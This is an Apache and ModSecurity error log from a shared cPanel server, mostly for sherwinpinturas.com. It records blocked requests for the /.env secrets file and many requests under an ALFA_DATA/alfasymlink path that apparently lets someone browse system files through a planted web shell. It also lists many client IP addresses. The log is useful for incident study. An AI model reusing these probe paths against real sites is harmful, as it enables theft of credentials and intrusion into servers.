[Sun Oct 25 19:51:47.437405 2026] [security2:error] [pid 2922867:tid 2922867] [client 93.152.221.96:33470] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6WEzWREDnPJfZ18QDVZgAAABs"]
[Sun Oct 25 19:51:47.437721 2026] [security2:error] [pid 2922867:tid 2922867] [client 93.152.221.96:33470] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6WEzWREDnPJfZ18QDVZgAAABs"]
[Sun Oct 25 19:51:47.565283 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 103.68.214.225:41786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cpu_slabs
[Sun Oct 25 19:51:47.607340 2026] [security2:error] [pid 2923347:tid 2923347] [client 93.152.221.96:55730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6WE2QoaGya8kOBwiLUoQAAAAI"]
[Sun Oct 25 19:51:47.607608 2026] [security2:error] [pid 2923347:tid 2923347] [client 93.152.221.96:55730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6WE2QoaGya8kOBwiLUoQAAAAI"]
[Sun Oct 25 19:51:47.607868 2026] [security2:error] [pid 2923347:tid 2923347] [client 93.152.221.96:55730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6WE2QoaGya8kOBwiLUoQAAAAI"]
[Sun Oct 25 19:52:02.224328 2026] [ssl:error] [pid 2922865:tid 2922865] (5)Input/output error: [client 100.28.49.152:21713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:52:06.220082 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 85.208.96.211:29896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/breakpoint/subsystem/uevent
[Sun Oct 25 19:52:06.457627 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 61.245.157.184:60419] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/validate
[Sun Oct 25 19:52:08.594502 2026] [security2:error] [pid 2913030:tid 2913030] [client 107.172.76.131:49330] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6WHNACfKmH39GTPJ9jZwAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:52:08.594578 2026] [security2:error] [pid 2913030:tid 2913030] [client 107.172.76.131:49330] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6WHNACfKmH39GTPJ9jZwAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:52:09.503816 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 41.198.151.115:38427] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/validate
[Sun Oct 25 19:52:10.519031 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 186.227.92.226:51651] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/remote_node_defrag_ratio
[Sun Oct 25 19:52:11.667007 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 186.26.123.242:44194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/validate
[Sun Oct 25 19:52:13.213851 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 102.90.126.169:52709] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/remote_node_defrag_ratio
[Sun Oct 25 19:52:14.170406 2026] [security2:error] [pid 2922865:tid 2922865] [client 3.231.193.38:42500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event2/subsystem/input5/device/input/"] [unique_id "at6WLrdTIM1lIynjkUhGhAAAABk"]
[Sun Oct 25 19:52:14.170447 2026] [security2:error] [pid 2922865:tid 2922865] [client 3.231.193.38:42500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event2/subsystem/input5/device/input/"] [unique_id "at6WLrdTIM1lIynjkUhGhAAAABk"]
[Sun Oct 25 19:52:15.366622 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 78.146.86.189:57965] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/remote_node_defrag_ratio
[Sun Oct 25 19:52:15.667850 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 91.239.105.126:37306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objects
[Sun Oct 25 19:52:18.851585 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 103.231.161.162:41564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objects
[Sun Oct 25 19:52:20.950451 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 172.59.232.174:35024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objects
[Sun Oct 25 19:52:22.191449 2026] [ssl:error] [pid 2922865:tid 2922865] (70014)End of file found: [client 34.203.111.15:63568] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:52:38.290213 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 18.215.77.19:26529] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:52:42.263826 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 100.29.63.24:43642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event0/subsystem/event3/device/device/driver/uevent
[Sun Oct 25 19:52:42.361872 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 85.208.96.208:62580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/total_objects
[Sun Oct 25 19:52:49.788224 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 185.191.171.18:60632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:52:49.902275 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 185.191.171.18:60646] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:52:50.232742 2026] [ssl:error] [pid 2924916:tid 2924916] (70014)End of file found: [client 54.91.122.193:31837] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:52:54.185083 2026] [ssl:error] [pid 2924261:tid 2924261] (22)Invalid argument: [client 18.214.124.6:12028] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:52:57.628997 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 185.191.171.18:60658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/align
[Sun Oct 25 19:52:58.299713 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 107.20.181.148:12770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input5/subsystem/event2/device/device/driver/uevent
[Sun Oct 25 19:52:59.905334 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 68.14.176.213:52816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/cpu_slabs
[Sun Oct 25 19:53:07.247758 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 73.68.53.230:19108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/cpu_slabs
[Sun Oct 25 19:53:34.205879 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.85.7.119:17807] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:53:38.197249 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 3.94.199.128:9314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/input3/device/subsystem/drivers/atkbd/unbind
[Sun Oct 25 19:53:39.580233 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 45.167.32.69:59378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objs_per_slab
[Sun Oct 25 19:53:41.127864 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 64.237.244.186:46683] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objects
[Sun Oct 25 19:53:41.868503 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 187.15.140.61:25030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/trace
[Sun Oct 25 19:53:42.335942 2026] [ssl:error] [pid 2921032:tid 2921032] (70014)End of file found: [client 35.171.117.160:15648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:53:47.031327 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 102.213.46.38:36128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/trace
[Sun Oct 25 19:53:50.698492 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 178.238.10.4:43894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objects
[Sun Oct 25 19:53:50.843774 2026] [core:error] [pid 2921032:tid 2921032] (13)Permission denied: [client 96.27.102.216:53573] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/trace
[Sun Oct 25 19:53:53.503986 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 200.121.141.35:54147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objs_per_slab
[Sun Oct 25 19:54:02.247259 2026] [security2:error] [pid 2922855:tid 2922855] [client 43.162.103.165:48594] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at6Wmqxue2ehJB_2I-PEJQAAAAY"]
[Sun Oct 25 19:54:16.611726 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 85.208.96.206:62042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/align
[Sun Oct 25 19:54:18.201444 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 34.236.41.241:26776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:54:36.814578 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 85.208.96.200:41514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/total_objects
[Sun Oct 25 19:54:38.340031 2026] [ssl:error] [pid 2922855:tid 2922855] (70014)End of file found: [client 52.73.6.26:31280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:54:42.590387 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 98.83.94.113:53869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:54:49.748280 2026] [security2:error] [pid 2922286:tid 2922286] [client 107.172.76.131:49333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6WvCML9QMr9_Qxg78JhgAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 19:54:49.748332 2026] [security2:error] [pid 2922286:tid 2922286] [client 107.172.76.131:49333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6WvCML9QMr9_Qxg78JhgAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 19:54:50.202002 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 34.226.89.140:26465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:54:52.943981 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 185.191.171.18:36906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/aliases
[Sun Oct 25 19:54:54.330272 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 44.218.170.184:50175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/pid_namespace/aliases
[Sun Oct 25 19:54:55.403097 2026] [security2:error] [pid 2922867:tid 2922867] [client 107.172.76.131:49451] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6WwzWREDnPJfZ18QDVbgAAABs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:54:55.403150 2026] [security2:error] [pid 2922867:tid 2922867] [client 107.172.76.131:49451] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6WwzWREDnPJfZ18QDVbgAAABs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:55:10.271877 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 34.225.243.131:43608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.3/driver/bind
[Sun Oct 25 19:55:12.989697 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 67.147.86.110:59009] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/validate
[Sun Oct 25 19:55:14.197290 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 54.145.82.217:56490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/module/nf_conntrack/sections/__verbose
[Sun Oct 25 19:55:22.334779 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 68.40.240.25:46158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/validate
[Sun Oct 25 19:55:26.265837 2026] [ssl:error] [pid 2924916:tid 2924916] (70014)End of file found: [client 3.215.59.93:7999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:55:27.053208 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 174.103.166.71:55920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/poison
[Sun Oct 25 19:55:28.412408 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 103.91.148.103:51488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/poison
[Sun Oct 25 19:55:30.188219 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 50.16.248.61:54097] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/unbind
[Sun Oct 25 19:55:32.901126 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 76.83.64.108:43721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objects_partial
[Sun Oct 25 19:55:34.612131 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 72.252.198.240:59264] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objects_partial
[Sun Oct 25 19:55:36.196593 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 47.189.163.200:51235] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objects_partial
[Sun Oct 25 19:55:38.190578 2026] [ssl:error] [pid 2922855:tid 2922855] (70014)End of file found: [client 52.203.65.83:15208] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:55:38.923181 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 85.208.96.206:59100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/objects
[Sun Oct 25 19:55:41.520639 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 85.98.109.173:44028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/ctor
[Sun Oct 25 19:55:43.471184 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 195.252.198.132:22087] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/ctor
[Sun Oct 25 19:55:46.347816 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 184.73.68.20:32385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/firmware_node/device:14/eject
[Sun Oct 25 19:55:58.197031 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 35.168.238.50:20758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:56:02.358863 2026] [security2:error] [pid 2925278:tid 2925278] [client 54.89.90.224:54695] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0F13:00/subsystem/"] [unique_id "at6XEhaKu-Zjs56a5J4q5AAAAAo"]
[Sun Oct 25 19:56:02.358909 2026] [security2:error] [pid 2925278:tid 2925278] [client 54.89.90.224:54695] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0F13:00/subsystem/"] [unique_id "at6XEhaKu-Zjs56a5J4q5AAAAAo"]
[Sun Oct 25 19:56:06.172966 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 34.192.67.98:57678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/ttyS1/xmit_fifo_size
[Sun Oct 25 19:56:10.406296 2026] [core:error] [pid 2924916:tid 2924916] (13)Permission denied: [client 185.191.171.7:21822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/objects
[Sun Oct 25 19:56:14.250617 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 100.25.120.246:48441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory23/subsystem/uevent
[Sun Oct 25 19:56:26.331907 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 44.193.102.198:33207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup4/device/physical_node/resource1
[Sun Oct 25 19:56:28.744022 2026] [core:error] [pid 2924916:tid 2924916] (13)Permission denied: [client 184.54.5.87:38535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/total_objects
[Sun Oct 25 19:56:31.382033 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 190.201.147.223:23428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/total_objects
[Sun Oct 25 19:56:33.890759 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 81.25.77.14:40781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/total_objects
[Sun Oct 25 19:56:34.256828 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 34.225.24.180:41216] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:56:34.257017 2026] [security2:error] [pid 2922286:tid 2922286] [client 34.225.24.180:41216] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory2/removable"] [unique_id "at6XMiML9QMr9_Qxg78JjQAAABM"]
[Sun Oct 25 19:56:34.257048 2026] [security2:error] [pid 2922286:tid 2922286] [client 34.225.24.180:41216] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory2/removable"] [unique_id "at6XMiML9QMr9_Qxg78JjQAAABM"]
[Sun Oct 25 19:56:38.198183 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 34.194.95.99:33801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:56:46.532415 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 54.225.148.123:16925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:56:50.223432 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 100.28.57.133:63034] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:56:55.758733 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 136.158.44.124:49229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/slab_size
[Sun Oct 25 19:56:59.720252 2026] [ssl:error] [pid 2924916:tid 2924916] (70014)End of file found: [client 185.191.171.5:38274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:57:00.012851 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 185.191.171.5:38278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:57:00.013121 2026] [security2:error] [pid 2922286:tid 2922286] [client 185.191.171.5:38278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/char/29:0/console"] [unique_id "at6XTCML9QMr9_Qxg78JjwAAABM"]
[Sun Oct 25 19:57:00.013154 2026] [security2:error] [pid 2922286:tid 2922286] [client 185.191.171.5:38278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/char/29:0/console"] [unique_id "at6XTCML9QMr9_Qxg78JjwAAABM"]
[Sun Oct 25 19:57:02.358234 2026] [ssl:error] [pid 2921032:tid 2921032] (70014)End of file found: [client 3.213.106.226:14857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:57:03.993613 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 109.136.47.133:55806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/slab_size
[Sun Oct 25 19:57:07.678658 2026] [security2:error] [pid 2925075:tid 2925075] [client 107.172.76.131:49452] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6XR6MybP9Ij19IhRsBrQAAAAs"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 19:57:07.678727 2026] [security2:error] [pid 2925075:tid 2925075] [client 107.172.76.131:49452] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6XR6MybP9Ij19IhRsBrQAAAAs"], referer: https://hosp2.sherwinpinturas.com/beta.php
